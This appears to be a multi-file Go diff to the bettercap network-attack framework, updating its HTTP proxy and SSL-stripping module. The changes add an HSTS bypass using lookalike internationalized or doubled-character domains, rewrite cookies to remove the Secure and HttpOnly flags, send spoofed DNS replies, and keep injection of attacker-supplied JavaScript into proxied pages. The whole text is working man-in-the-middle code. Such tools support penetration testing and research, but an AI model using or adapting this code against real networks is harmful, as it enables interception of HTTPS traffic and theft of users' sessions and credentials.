return mod.SetRunning(false, func() { return mod.SetRunning(false, func() {
// let the read fail and exit if mod.serial != nil {
mod.serial.Close() // let the read fail and exit
mod.serial.Close()
} else {
if err := mod.gpsd.Close(); err != nil {
mod.Error("failed closing the connection to GPSD: %s", err)
}
}
}) })
} }

View file

@ -14,7 +14,7 @@ type HttpProxy struct {
func NewHttpProxy(s *session.Session) *HttpProxy { func NewHttpProxy(s *session.Session) *HttpProxy {
mod := &HttpProxy{ mod := &HttpProxy{
SessionModule: session.NewSessionModule("http.proxy", s), SessionModule: session.NewSessionModule("http.proxy", s),
proxy: NewHTTPProxy(s), proxy: NewHTTPProxy(s, "http.proxy"),
} }
mod.AddParam(session.NewIntParameter("http.port", mod.AddParam(session.NewIntParameter("http.port",
@ -54,6 +54,10 @@ func NewHttpProxy(s *session.Session) *HttpProxy {
"false", "false",
"Enable or disable SSL stripping.")) "Enable or disable SSL stripping."))
mod.AddParam(session.NewBoolParameter("http.proxy.sslstrip.useIDN",
"false",
"Use an Internationalized Domain Name to bypass HSTS. Otherwise, double the last TLD's character"))
mod.AddHandler(session.NewModuleHandler("http.proxy on", "", mod.AddHandler(session.NewModuleHandler("http.proxy on", "",
"Start HTTP proxy.", "Start HTTP proxy.",
func(args []string) error { func(args []string) error {
@ -66,6 +70,8 @@ func NewHttpProxy(s *session.Session) *HttpProxy {
return mod.Stop() return mod.Stop()
})) }))
mod.InitState("stripper")
return mod return mod
} }
@ -89,6 +95,7 @@ func (mod *HttpProxy) Configure() error {
var doRedirect bool var doRedirect bool
var scriptPath string var scriptPath string
var stripSSL bool var stripSSL bool
var useIDN bool
var jsToInject string var jsToInject string
var blacklist string var blacklist string
var whitelist string var whitelist string
@ -107,6 +114,8 @@ func (mod *HttpProxy) Configure() error {
return err return err
} else if err, stripSSL = mod.BoolParam("http.proxy.sslstrip"); err != nil { } else if err, stripSSL = mod.BoolParam("http.proxy.sslstrip"); err != nil {
return err return err
} else if err, useIDN = mod.BoolParam("http.proxy.sslstrip.useIDN"); err != nil {
return err
} else if err, jsToInject = mod.StringParam("http.proxy.injectjs"); err != nil { } else if err, jsToInject = mod.StringParam("http.proxy.injectjs"); err != nil {
return err return err
} else if err, blacklist = mod.StringParam("http.proxy.blacklist"); err != nil { } else if err, blacklist = mod.StringParam("http.proxy.blacklist"); err != nil {
@ -118,7 +127,12 @@ func (mod *HttpProxy) Configure() error {
mod.proxy.Blacklist = str.Comma(blacklist) mod.proxy.Blacklist = str.Comma(blacklist)
mod.proxy.Whitelist = str.Comma(whitelist) mod.proxy.Whitelist = str.Comma(whitelist)
return mod.proxy.Configure(address, proxyPort, httpPort, doRedirect, scriptPath, jsToInject, stripSSL) error := mod.proxy.Configure(address, proxyPort, httpPort, doRedirect, scriptPath, jsToInject, stripSSL, useIDN)
// save stripper to share it with other http(s) proxies
mod.State.Store("stripper", mod.proxy.Stripper)
return error
} }
func (mod *HttpProxy) Start() error { func (mod *HttpProxy) Start() error {
@ -132,6 +146,7 @@ func (mod *HttpProxy) Start() error {
} }
func (mod *HttpProxy) Stop() error { func (mod *HttpProxy) Stop() error {
mod.State.Store("stripper", nil)
return mod.SetRunning(false, func() { return mod.SetRunning(false, func() {
mod.proxy.Stop() mod.proxy.Stop()
}) })

View file

@ -45,14 +45,14 @@ type HTTPProxy struct {
KeyFile string KeyFile string
Blacklist []string Blacklist []string
Whitelist []string Whitelist []string
Sess *session.Session
Stripper *SSLStripper
jsHook string jsHook string
isTLS bool isTLS bool
isRunning bool isRunning bool
doRedirect bool doRedirect bool
stripper *SSLStripper
sniListener net.Listener sniListener net.Listener
sess *session.Session
tag string tag string
} }
@ -72,18 +72,18 @@ func (l dummyLogger) Printf(format string, v ...interface{}) {
l.p.Debug("[goproxy.log] %s", str.Trim(fmt.Sprintf(format, v...))) l.p.Debug("[goproxy.log] %s", str.Trim(fmt.Sprintf(format, v...)))
} }
func NewHTTPProxy(s *session.Session) *HTTPProxy { func NewHTTPProxy(s *session.Session, tag string) *HTTPProxy {
p := &HTTPProxy{ p := &HTTPProxy{
Name: "http.proxy", Name: "http.proxy",
Proxy: goproxy.NewProxyHttpServer(), Proxy: goproxy.NewProxyHttpServer(),
sess: s, Sess: s,
stripper: NewSSLStripper(s, false), Stripper: NewSSLStripper(s, false, false),
isTLS: false, isTLS: false,
doRedirect: true, doRedirect: true,
Server: nil, Server: nil,
Blacklist: make([]string, 0), Blacklist: make([]string, 0),
Whitelist: make([]string, 0), Whitelist: make([]string, 0),
tag: session.AsTag("http.proxy"), tag: session.AsTag(tag),
} }
p.Proxy.Verbose = false p.Proxy.Verbose = false
@ -107,23 +107,23 @@ func NewHTTPProxy(s *session.Session) *HTTPProxy {
} }
func (p *HTTPProxy) Debug(format string, args ...interface{}) { func (p *HTTPProxy) Debug(format string, args ...interface{}) {
p.sess.Events.Log(log.DEBUG, p.tag+format, args...) p.Sess.Events.Log(log.DEBUG, p.tag+format, args...)
} }
func (p *HTTPProxy) Info(format string, args ...interface{}) { func (p *HTTPProxy) Info(format string, args ...interface{}) {
p.sess.Events.Log(log.INFO, p.tag+format, args...) p.Sess.Events.Log(log.INFO, p.tag+format, args...)
} }
func (p *HTTPProxy) Warning(format string, args ...interface{}) { func (p *HTTPProxy) Warning(format string, args ...interface{}) {
p.sess.Events.Log(log.WARNING, p.tag+format, args...) p.Sess.Events.Log(log.WARNING, p.tag+format, args...)
} }
func (p *HTTPProxy) Error(format string, args ...interface{}) { func (p *HTTPProxy) Error(format string, args ...interface{}) {
p.sess.Events.Log(log.ERROR, p.tag+format, args...) p.Sess.Events.Log(log.ERROR, p.tag+format, args...)
} }
func (p *HTTPProxy) Fatal(format string, args ...interface{}) { func (p *HTTPProxy) Fatal(format string, args ...interface{}) {
p.sess.Events.Log(log.FATAL, p.tag+format, args...) p.Sess.Events.Log(log.FATAL, p.tag+format, args...)
} }
func (p *HTTPProxy) doProxy(req *http.Request) bool { func (p *HTTPProxy) doProxy(req *http.Request) bool {
@ -170,12 +170,32 @@ func (p *HTTPProxy) shouldProxy(req *http.Request) bool {
} }
func (p *HTTPProxy) Configure(address string, proxyPort int, httpPort int, doRedirect bool, scriptPath string, func (p *HTTPProxy) Configure(address string, proxyPort int, httpPort int, doRedirect bool, scriptPath string,
jsToInject string, stripSSL bool) error { jsToInject string, stripSSL bool, useIDN bool) error {
var err error var err error
p.stripper.Enable(stripSSL) // check if another http(s) proxy is using sslstrip and merge strippers
if stripSSL {
for _, mname := range []string{"http.proxy", "https.proxy"}{
err, m := p.Sess.Module(mname)
if err == nil && m.Running() {
var mextra interface{}
var mstripper *SSLStripper
mextra = m.Extra()
mextramap := mextra.(map[string]interface{})
mstripper = mextramap["stripper"].(*SSLStripper)
if mstripper != nil && mstripper.Enabled() {
p.Info("found another proxy using sslstrip -> merging strippers...")
p.Stripper = mstripper
break
}
}
}
}
p.Stripper.Enable(stripSSL, useIDN)
p.Address = address p.Address = address
p.doRedirect = doRedirect p.doRedirect = doRedirect
p.jsHook = ""
if strings.HasPrefix(jsToInject, "http://") || strings.HasPrefix(jsToInject, "https://") { if strings.HasPrefix(jsToInject, "http://") || strings.HasPrefix(jsToInject, "https://") {
p.jsHook = fmt.Sprintf("<script src=\"%s\" type=\"text/javascript\"></script></head>", jsToInject) p.jsHook = fmt.Sprintf("<script src=\"%s\" type=\"text/javascript\"></script></head>", jsToInject)
@ -195,7 +215,7 @@ func (p *HTTPProxy) Configure(address string, proxyPort int, httpPort int, doRed
} }
if scriptPath != "" { if scriptPath != "" {
if err, p.Script = LoadHttpProxyScript(scriptPath, p.sess); err != nil { if err, p.Script = LoadHttpProxyScript(scriptPath, p.Sess); err != nil {
return err return err
} else { } else {
p.Debug("proxy script %s loaded.", scriptPath) p.Debug("proxy script %s loaded.", scriptPath)
@ -210,18 +230,18 @@ func (p *HTTPProxy) Configure(address string, proxyPort int, httpPort int, doRed
} }
if p.doRedirect { if p.doRedirect {
if !p.sess.Firewall.IsForwardingEnabled() { if !p.Sess.Firewall.IsForwardingEnabled() {
p.Info("enabling forwarding.") p.Info("enabling forwarding.")
p.sess.Firewall.EnableForwarding(true) p.Sess.Firewall.EnableForwarding(true)
} }
p.Redirection = firewall.NewRedirection(p.sess.Interface.Name(), p.Redirection = firewall.NewRedirection(p.Sess.Interface.Name(),
"TCP", "TCP",
httpPort, httpPort,
p.Address, p.Address,
proxyPort) proxyPort)
if err := p.sess.Firewall.EnableRedirection(p.Redirection, true); err != nil { if err := p.Sess.Firewall.EnableRedirection(p.Redirection, true); err != nil {
return err return err
} }
@ -230,7 +250,7 @@ func (p *HTTPProxy) Configure(address string, proxyPort int, httpPort int, doRed
p.Warning("port redirection disabled, the proxy must be set manually to work") p.Warning("port redirection disabled, the proxy must be set manually to work")
} }
p.sess.UnkCmdCallback = func(cmd string) bool { p.Sess.UnkCmdCallback = func(cmd string) bool {
if p.Script != nil { if p.Script != nil {
return p.Script.OnCommand(cmd) return p.Script.OnCommand(cmd)
} }
@ -277,14 +297,13 @@ func (p *HTTPProxy) TLSConfigFromCA(ca *tls.Certificate) func(host string, ctx *
func (p *HTTPProxy) ConfigureTLS(address string, proxyPort int, httpPort int, doRedirect bool, scriptPath string, func (p *HTTPProxy) ConfigureTLS(address string, proxyPort int, httpPort int, doRedirect bool, scriptPath string,
certFile string, certFile string,
keyFile string, jsToInject string, stripSSL bool) (err error) { keyFile string, jsToInject string, stripSSL bool, useIDN bool) (err error) {
if err = p.Configure(address, proxyPort, httpPort, doRedirect, scriptPath, jsToInject, stripSSL); err != nil { if err = p.Configure(address, proxyPort, httpPort, doRedirect, scriptPath, jsToInject, stripSSL, useIDN); err != nil {
return err return err
} }
p.isTLS = true p.isTLS = true
p.Name = "https.proxy" p.Name = "https.proxy"
p.tag = session.AsTag("https.proxy")
p.CertFile = certFile p.CertFile = certFile
p.KeyFile = keyFile p.KeyFile = keyFile
@ -394,7 +413,7 @@ func (p *HTTPProxy) Start() {
var err error var err error
strip := tui.Yellow("enabled") strip := tui.Yellow("enabled")
if !p.stripper.Enabled() { if !p.Stripper.Enabled() {
strip = tui.Dim("disabled") strip = tui.Dim("disabled")
} }
@ -415,13 +434,13 @@ func (p *HTTPProxy) Start() {
func (p *HTTPProxy) Stop() error { func (p *HTTPProxy) Stop() error {
if p.doRedirect && p.Redirection != nil { if p.doRedirect && p.Redirection != nil {
p.Debug("disabling redirection %s", p.Redirection.String()) p.Debug("disabling redirection %s", p.Redirection.String())
if err := p.sess.Firewall.EnableRedirection(p.Redirection, false); err != nil { if err := p.Sess.Firewall.EnableRedirection(p.Redirection, false); err != nil {
return err return err
} }
p.Redirection = nil p.Redirection = nil
} }
p.sess.UnkCmdCallback = nil p.Sess.UnkCmdCallback = nil
if p.isTLS { if p.isTLS {
p.isRunning = false p.isRunning = false

View file

@ -4,6 +4,7 @@ import (
"io/ioutil" "io/ioutil"
"net/http" "net/http"
"strings" "strings"
"strconv"
"github.com/elazarl/goproxy" "github.com/elazarl/goproxy"
@ -24,7 +25,7 @@ func (p *HTTPProxy) onRequestFilter(req *http.Request, ctx *goproxy.ProxyCtx) (*
p.fixRequestHeaders(req) p.fixRequestHeaders(req)
redir := p.stripper.Preprocess(req, ctx) redir := p.Stripper.Preprocess(req, ctx)
if redir != nil { if redir != nil {
// we need to redirect the user in order to make // we need to redirect the user in order to make
// some session cookie expire // some session cookie expire
@ -73,12 +74,12 @@ func (p *HTTPProxy) isScriptInjectable(res *http.Response) (bool, string) {
return false, "" return false, ""
} }
func (p *HTTPProxy) doScriptInjection(res *http.Response, cType string) (error, *http.Response) { func (p *HTTPProxy) doScriptInjection(res *http.Response, cType string) (error) {
defer res.Body.Close() defer res.Body.Close()
raw, err := ioutil.ReadAll(res.Body) raw, err := ioutil.ReadAll(res.Body)
if err != nil { if err != nil {
return err, nil return err
} else if html := string(raw); strings.Contains(html, "</head>") { } else if html := string(raw); strings.Contains(html, "</head>") {
p.Info("> injecting javascript (%d bytes) into %s (%d bytes) for %s", p.Info("> injecting javascript (%d bytes) into %s (%d bytes) for %s",
len(p.jsHook), len(p.jsHook),
@ -87,17 +88,15 @@ func (p *HTTPProxy) doScriptInjection(res *http.Response, cType string) (error,
tui.Bold(strings.Split(res.Request.RemoteAddr, ":")[0])) tui.Bold(strings.Split(res.Request.RemoteAddr, ":")[0]))
html = strings.Replace(html, "</head>", p.jsHook, -1) html = strings.Replace(html, "</head>", p.jsHook, -1)
newResp := goproxy.NewResponse(res.Request, cType, res.StatusCode, html) res.Header.Set("Content-Length", strconv.Itoa(len(html)))
for k, vv := range res.Header {
for _, v := range vv {
newResp.Header.Add(k, v)
}
}
return nil, newResp // reset the response body to the original unread state
res.Body = ioutil.NopCloser(strings.NewReader(html))
return nil
} }
return nil, nil return nil
} }
func (p *HTTPProxy) onResponseFilter(res *http.Response, ctx *goproxy.ProxyCtx) *http.Response { func (p *HTTPProxy) onResponseFilter(res *http.Response, ctx *goproxy.ProxyCtx) *http.Response {
@ -109,7 +108,7 @@ func (p *HTTPProxy) onResponseFilter(res *http.Response, ctx *goproxy.ProxyCtx)
if p.shouldProxy(res.Request) { if p.shouldProxy(res.Request) {
p.Debug("> %s %s %s%s", res.Request.RemoteAddr, res.Request.Method, res.Request.Host, res.Request.URL.Path) p.Debug("> %s %s %s%s", res.Request.RemoteAddr, res.Request.Method, res.Request.Host, res.Request.URL.Path)
p.stripper.Process(res, ctx) p.Stripper.Process(res, ctx)
// do we have a proxy script? // do we have a proxy script?
if p.Script != nil { if p.Script != nil {
@ -117,16 +116,20 @@ func (p *HTTPProxy) onResponseFilter(res *http.Response, ctx *goproxy.ProxyCtx)
if jsres != nil { if jsres != nil {
// the response has been changed by the script // the response has been changed by the script
p.logResponseAction(res.Request, jsres) p.logResponseAction(res.Request, jsres)
return jsres.ToResponse(res.Request) raw, err := ioutil.ReadAll(jsres.ToResponse(res.Request).Body)
if err == nil {
html := string(raw)
res.Header.Set("Content-Length", strconv.Itoa(len(html)))
// reset the response body to the original unread state
res.Body = ioutil.NopCloser(strings.NewReader(html))
}
} }
} }
// inject javascript code if specified and needed // inject javascript code if specified and needed
if doInject, cType := p.isScriptInjectable(res); doInject { if doInject, cType := p.isScriptInjectable(res); doInject {
if err, injectedResponse := p.doScriptInjection(res, cType); err != nil { if err := p.doScriptInjection(res, cType); err != nil {
p.Error("error while injecting javascript: %s", err) p.Error("error while injecting javascript: %s", err)
} else if injectedResponse != nil {
return injectedResponse
} }
} }
} }
@ -135,7 +138,7 @@ func (p *HTTPProxy) onResponseFilter(res *http.Response, ctx *goproxy.ProxyCtx)
} }
func (p *HTTPProxy) logRequestAction(req *http.Request, jsreq *JSRequest) { func (p *HTTPProxy) logRequestAction(req *http.Request, jsreq *JSRequest) {
p.sess.Events.Add(p.Name+".spoofed-request", struct { p.Sess.Events.Add(p.Name+".spoofed-request", struct {
To string To string
Method string Method string
Host string Host string
@ -151,7 +154,7 @@ func (p *HTTPProxy) logRequestAction(req *http.Request, jsreq *JSRequest) {
} }
func (p *HTTPProxy) logResponseAction(req *http.Request, jsres *JSResponse) { func (p *HTTPProxy) logResponseAction(req *http.Request, jsres *JSResponse) {
p.sess.Events.Add(p.Name+".spoofed-response", struct { p.Sess.Events.Add(p.Name+".spoofed-response", struct {
To string To string
Method string Method string
Host string Host string

View file

@ -34,25 +34,38 @@ func NewHost(name string) *Host {
type HostTracker struct { type HostTracker struct {
sync.RWMutex sync.RWMutex
hosts map[string]*Host uhosts map[string]*Host
shosts map[string]*Host
} }
func NewHostTracker() *HostTracker { func NewHostTracker() *HostTracker {
return &HostTracker{ return &HostTracker{
hosts: make(map[string]*Host), uhosts: make(map[string]*Host),
shosts: make(map[string]*Host),
} }
} }
func (t *HostTracker) Track(host, stripped string) { func (t *HostTracker) Track(host, stripped string) {
t.Lock() t.Lock()
defer t.Unlock() defer t.Unlock()
t.hosts[stripped] = NewHost(host) t.uhosts[stripped] = NewHost(host)
t.shosts[host] = NewHost(stripped)
} }
func (t *HostTracker) Unstrip(stripped string) *Host { func (t *HostTracker) Unstrip(stripped string) *Host {
t.RLock() t.RLock()
defer t.RUnlock() defer t.RUnlock()
if host, found := t.hosts[stripped]; found { if host, found := t.uhosts[stripped]; found {
return host
}
return nil
}
func (t *HostTracker) Strip(unstripped string) *Host {
t.RLock()
defer t.RUnlock()
if host, found := t.shosts[unstripped]; found {
return host return host
} }
return nil return nil

View file

@ -1,9 +1,7 @@
package http_proxy package http_proxy
import ( import (
"fmt"
"io/ioutil" "io/ioutil"
"net"
"net/http" "net/http"
"net/url" "net/url"
"regexp" "regexp"
@ -11,8 +9,8 @@ import (
"strconv" "strconv"
"github.com/bettercap/bettercap/log" "github.com/bettercap/bettercap/log"
"github.com/bettercap/bettercap/packets"
"github.com/bettercap/bettercap/session" "github.com/bettercap/bettercap/session"
"github.com/bettercap/bettercap/modules/dns_spoof"
"github.com/elazarl/goproxy" "github.com/elazarl/goproxy"
"github.com/google/gopacket" "github.com/google/gopacket"
@ -20,39 +18,36 @@ import (
"github.com/google/gopacket/pcap" "github.com/google/gopacket/pcap"
"github.com/evilsocket/islazy/tui" "github.com/evilsocket/islazy/tui"
"golang.org/x/net/idna"
) )
var ( var (
maxRedirs = 5
httpsLinksParser = regexp.MustCompile(`https://[^"'/]+`) httpsLinksParser = regexp.MustCompile(`https://[^"'/]+`)
subdomains = map[string]string{ domainCookieParser = regexp.MustCompile(`; ?(?i)domain=.*(;|$)`)
"www": "wwwww", flagsCookieParser = regexp.MustCompile(`; ?(?i)(secure|httponly)`)
"webmail": "wwebmail",
"mail": "wmail",
"m": "wmobile",
}
) )
type SSLStripper struct { type SSLStripper struct {
enabled bool enabled bool
useIDN bool
session *session.Session session *session.Session
cookies *CookieTracker cookies *CookieTracker
hosts *HostTracker hosts *HostTracker
handle *pcap.Handle handle *pcap.Handle
pktSourceChan chan gopacket.Packet pktSourceChan chan gopacket.Packet
redirs map[string]int
} }
func NewSSLStripper(s *session.Session, enabled bool) *SSLStripper { func NewSSLStripper(s *session.Session, enabled bool, useIDN bool) *SSLStripper {
strip := &SSLStripper{ strip := &SSLStripper{
enabled: false, enabled: false,
useIDN: false,
cookies: NewCookieTracker(), cookies: NewCookieTracker(),
hosts: NewHostTracker(), hosts: NewHostTracker(),
session: s, session: s,
handle: nil, handle: nil,
redirs: make(map[string]int),
} }
strip.Enable(enabled) strip.Enable(enabled, useIDN)
return strip return strip
} }
@ -60,84 +55,6 @@ func (s *SSLStripper) Enabled() bool {
return s.enabled return s.enabled
} }
func (s *SSLStripper) dnsReply(pkt gopacket.Packet, peth *layers.Ethernet, pudp *layers.UDP, domain string, address net.IP, req *layers.DNS, target net.HardwareAddr) {
redir := fmt.Sprintf("(->%s)", address)
who := target.String()
if t, found := s.session.Lan.Get(target.String()); found {
who = t.String()
}
log.Debug("[%s] Sending spoofed DNS reply for %s %s to %s.", tui.Green("dns"), tui.Red(domain), tui.Dim(redir), tui.Bold(who))
var err error
var src, dst net.IP
nlayer := pkt.NetworkLayer()
if nlayer == nil {
log.Debug("Missing network layer skipping packet.")
return
}
pip := pkt.Layer(layers.LayerTypeIPv4).(*layers.IPv4)
src = pip.DstIP
dst = pip.SrcIP
eth := layers.Ethernet{
SrcMAC: peth.DstMAC,
DstMAC: target,
EthernetType: layers.EthernetTypeIPv4,
}
answers := make([]layers.DNSResourceRecord, 0)
for _, q := range req.Questions {
answers = append(answers,
layers.DNSResourceRecord{
Name: []byte(q.Name),
Type: q.Type,
Class: q.Class,
TTL: 1024,
IP: address,
})
}
dns := layers.DNS{
ID: req.ID,
QR: true,
OpCode: layers.DNSOpCodeQuery,
QDCount: req.QDCount,
Questions: req.Questions,
Answers: answers,
}
ip4 := layers.IPv4{
Protocol: layers.IPProtocolUDP,
Version: 4,
TTL: 64,
SrcIP: src,
DstIP: dst,
}
udp := layers.UDP{
SrcPort: pudp.DstPort,
DstPort: pudp.SrcPort,
}
udp.SetNetworkLayerForChecksum(&ip4)
var raw []byte
err, raw = packets.Serialize(&eth, &ip4, &udp, &dns)
if err != nil {
log.Error("Error serializing packet: %s.", err)
return
}
log.Debug("Sending %d bytes of packet ...", len(raw))
if err := s.session.Queue.Send(raw); err != nil {
log.Error("Error sending packet: %s", err)
}
}
func (s *SSLStripper) onPacket(pkt gopacket.Packet) { func (s *SSLStripper) onPacket(pkt gopacket.Packet) {
typeEth := pkt.Layer(layers.LayerTypeEthernet) typeEth := pkt.Layer(layers.LayerTypeEthernet)
typeUDP := pkt.Layer(layers.LayerTypeUDP) typeUDP := pkt.Layer(layers.LayerTypeUDP)
@ -153,14 +70,18 @@ func (s *SSLStripper) onPacket(pkt gopacket.Packet) {
domain := string(q.Name) domain := string(q.Name)
original := s.hosts.Unstrip(domain) original := s.hosts.Unstrip(domain)
if original != nil && original.Address != nil { if original != nil && original.Address != nil {
s.dnsReply(pkt, eth, udp, domain, original.Address, dns, eth.SrcMAC) redir, who := dns_spoof.DnsReply(s.session, 1024, pkt, eth, udp, domain, original.Address, dns, eth.SrcMAC)
if redir != "" && who != "" {
log.Debug("[%s] Sending spoofed DNS reply for %s %s to %s.", tui.Green("dns"), tui.Red(domain), tui.Dim(redir), tui.Bold(who))
}
} }
} }
} }
} }
func (s *SSLStripper) Enable(enabled bool) { func (s *SSLStripper) Enable(enabled bool, useIDN bool) {
s.enabled = enabled s.enabled = enabled
s.useIDN = useIDN
if enabled && s.handle == nil { if enabled && s.handle == nil {
var err error var err error
@ -208,23 +129,28 @@ func (s *SSLStripper) isContentStrippable(res *http.Response) bool {
func (s *SSLStripper) processURL(url string) string { func (s *SSLStripper) processURL(url string) string {
// first we remove the https schema // first we remove the https schema
url = strings.Replace(url, "https://", "http://", 1) url = url[8:]
// search for a known subdomain and replace it // search the first instance of "/"
found := false iEndHost := strings.Index(url, "/")
for sub, repl := range subdomains { if iEndHost == -1 {
what := fmt.Sprintf("://%s", sub) iEndHost = len(url)
with := fmt.Sprintf("://%s", repl)
if strings.Contains(url, what) {
url = strings.Replace(url, what, with, 1)
found = true
break
}
} }
// fallback // search if port is specified
if !found { iPort := strings.Index(url[:iEndHost], ":")
url = strings.Replace(url, "://", "://wwww.", 1) if iPort == -1 {
iPort = iEndHost
} }
if s.useIDN {
// add an international character to the domain name & strip HTTPS port (if any)
url = url[:iPort] + "" + url[iEndHost:]
} else {
// double the last TLD's character & strip HTTPS port (if any)
url = url[:iPort] + string(url[iPort-1]) + url[iEndHost:]
}
// finally we add the http schema
url = "http://" + url
return url return url
} }
@ -238,19 +164,14 @@ func (s *SSLStripper) Preprocess(req *http.Request, ctx *goproxy.ProxyCtx) (redi
return return
} }
// well ...
if req.URL.Scheme == "https" {
// TODO: check for max redirects?
req.URL.Scheme = "http"
}
// handle stripped domains // handle stripped domains
original := s.hosts.Unstrip(req.Host) original := s.hosts.Unstrip(req.Host)
if original != nil { if original != nil {
log.Info("[%s] Replacing host %s with %s in request from %s", tui.Green("sslstrip"), tui.Bold(req.Host), tui.Yellow(original.Hostname), req.RemoteAddr) log.Info("[%s] Replacing host %s with %s in request from %s and transmitting HTTPS", tui.Green("sslstrip"), tui.Bold(req.Host), tui.Yellow(original.Hostname), req.RemoteAddr)
req.Host = original.Hostname req.Host = original.Hostname
req.URL.Host = original.Hostname req.URL.Host = original.Hostname
req.Header.Set("Host", original.Hostname) req.Header.Set("Host", original.Hostname)
req.URL.Scheme = "https"
} }
if !s.cookies.IsClean(req) { if !s.cookies.IsClean(req) {
@ -264,24 +185,30 @@ func (s *SSLStripper) Preprocess(req *http.Request, ctx *goproxy.ProxyCtx) (redi
return return
} }
func (s *SSLStripper) isMaxRedirs(hostname string) bool { func (s *SSLStripper) fixCookies(res *http.Response) {
// did we already track redirections for this host? origHost := res.Request.URL.Hostname()
if nredirs, found := s.redirs[hostname]; found { strippedHost := s.hosts.Strip(origHost)
// reached the threshold?
if nredirs >= maxRedirs { if strippedHost != nil && strippedHost.Hostname != origHost && res.Header["Set-Cookie"] != nil {
log.Warning("[%s] Hit max redirections for %s, serving HTTPS.", tui.Green("sslstrip"), hostname) // get domains from hostnames
// reset if origParts, strippedParts := strings.Split(origHost, "."), strings.Split(strippedHost.Hostname, "."); len(origParts) > 1 && len(strippedParts) > 1 {
delete(s.redirs, hostname) origDomain := origParts[len(origParts)-2] + "." + origParts[len(origParts)-1]
return true strippedDomain := strippedParts[len(strippedParts)-2] + "." + strippedParts[len(strippedParts)-1]
} else {
// increment log.Info("[%s] Fixing cookies on %s", tui.Green("sslstrip"),tui.Bold(strippedHost.Hostname))
s.redirs[hostname]++ cookies := make([]string, len(res.Header["Set-Cookie"]))
// replace domain and strip "secure" flag for each cookie
for i, cookie := range res.Header["Set-Cookie"] {
domainIndex := domainCookieParser.FindStringIndex(cookie)
if domainIndex != nil {
cookie = cookie[:domainIndex[0]] + strings.Replace(cookie[domainIndex[0]:domainIndex[1]], origDomain, strippedDomain, 1) + cookie[domainIndex[1]:]
}
cookies[i] = flagsCookieParser.ReplaceAllString(cookie, "")
}
res.Header["Set-Cookie"] = cookies
s.cookies.Track(res.Request)
} }
} else {
// start tracking redirections
s.redirs[hostname] = 1
} }
return false
} }
func (s *SSLStripper) fixResponseHeaders(res *http.Response) { func (s *SSLStripper) fixResponseHeaders(res *http.Response) {
@ -310,12 +237,13 @@ func (s *SSLStripper) Process(res *http.Response, ctx *goproxy.ProxyCtx) {
s.fixResponseHeaders(res) s.fixResponseHeaders(res)
orig := res.Request.URL
origHost := orig.Hostname()
// is the server redirecting us? // is the server redirecting us?
if res.StatusCode != 200 { if res.StatusCode != 200 {
// extract Location header // extract Location header
if location, err := res.Location(); location != nil && err == nil { if location, err := res.Location(); location != nil && err == nil {
orig := res.Request.URL
origHost := orig.Hostname()
newHost := location.Host newHost := location.Host
newURL := location.String() newURL := location.String()
@ -324,17 +252,14 @@ func (s *SSLStripper) Process(res *http.Response, ctx *goproxy.ProxyCtx) {
log.Info("[%s] Got redirection from HTTP to HTTPS: %s -> %s", tui.Green("sslstrip"), tui.Yellow("http://"+origHost), tui.Bold("https://"+newHost)) log.Info("[%s] Got redirection from HTTP to HTTPS: %s -> %s", tui.Green("sslstrip"), tui.Yellow("http://"+origHost), tui.Bold("https://"+newHost))
// if we still did not reach max redirections, strip the URL down to // strip the URL down to an alternative HTTP version and save it to an ASCII Internationalized Domain Name
// an alternative HTTP version strippedURL := s.processURL(newURL)
if !s.isMaxRedirs(origHost) { parsed, _ := url.Parse(strippedURL)
strippedURL := s.processURL(newURL) hostStripped := parsed.Hostname()
u, _ := url.Parse(strippedURL) hostStripped, _ = idna.ToASCII(hostStripped)
hostStripped := u.Hostname() s.hosts.Track(newHost, hostStripped)
s.hosts.Track(origHost, hostStripped) res.Header.Set("Location", strippedURL)
res.Header.Set("Location", strippedURL)
}
} }
} }
} }
@ -352,9 +277,9 @@ func (s *SSLStripper) Process(res *http.Response, ctx *goproxy.ProxyCtx) {
urls := make(map[string]string) urls := make(map[string]string)
matches := httpsLinksParser.FindAllString(body, -1) matches := httpsLinksParser.FindAllString(body, -1)
for _, u := range matches { for _, u := range matches {
// make sure we only strip stuff we're able to // make sure we only strip valid URLs
// resolve and process if parsed, _ := url.Parse(u); parsed != nil {
if strings.ContainsRune(u, '.') { // strip the URL down to an alternative HTTP version
urls[u] = s.processURL(u) urls[u] = s.processURL(u)
} }
} }
@ -368,18 +293,25 @@ func (s *SSLStripper) Process(res *http.Response, ctx *goproxy.ProxyCtx) {
log.Info("[%s] Stripping %d SSL link%s from %s", tui.Green("sslstrip"), nurls, plural, tui.Bold(res.Request.Host)) log.Info("[%s] Stripping %d SSL link%s from %s", tui.Green("sslstrip"), nurls, plural, tui.Bold(res.Request.Host))
} }
for url, stripped := range urls { for u, stripped := range urls {
log.Debug("Stripping url %s to %s", tui.Bold(url), tui.Yellow(stripped)) log.Debug("Stripping url %s to %s", tui.Bold(u), tui.Yellow(stripped))
body = strings.Replace(body, url, stripped, -1) body = strings.Replace(body, u, stripped, -1)
hostOriginal := strings.Replace(url, "https://", "", 1) // save stripped host to an ASCII Internationalized Domain Name
hostStripped := strings.Replace(stripped, "http://", "", 1) parsed, _ := url.Parse(u)
hostOriginal := parsed.Hostname()
parsed, _ = url.Parse(stripped)
hostStripped := parsed.Hostname()
hostStripped, _ = idna.ToASCII(hostStripped)
s.hosts.Track(hostOriginal, hostStripped) s.hosts.Track(hostOriginal, hostStripped)
} }
res.Header.Set("Content-Length", strconv.Itoa(len(body))) res.Header.Set("Content-Length", strconv.Itoa(len(body)))
// fix cookies domain + strip "secure" + "httponly" flags
s.fixCookies(res)
// reset the response body to the original unread state // reset the response body to the original unread state
// but with just a string reader, this way further calls // but with just a string reader, this way further calls
// to ioutil.ReadAll(res.Body) will just return the content // to ioutil.ReadAll(res.Body) will just return the content

View file

@ -29,7 +29,7 @@ type JSRequest struct {
bodyRead bool bodyRead bool
} }
var header_regexp = regexp.MustCompile(`(.*?): (.*)`) var header_regexp = regexp.MustCompile(`^\s*(.*?)\s*:\s*(.*)\s*$`)
func NewJSRequest(req *http.Request) *JSRequest { func NewJSRequest(req *http.Request) *JSRequest {
headers := "" headers := ""
@ -94,27 +94,44 @@ func (j *JSRequest) WasModified() bool {
func (j *JSRequest) GetHeader(name, deflt string) string { func (j *JSRequest) GetHeader(name, deflt string) string {
headers := strings.Split(j.Headers, "\r\n") headers := strings.Split(j.Headers, "\r\n")
for i := 0; i < len(headers); i++ { for i := 0; i < len(headers); i++ {
header_name := header_regexp.ReplaceAllString(headers[i], "$1") if headers[i] != "" {
header_value := header_regexp.ReplaceAllString(headers[i], "$2") header_parts := header_regexp.FindAllSubmatch([]byte(headers[i]), 1)
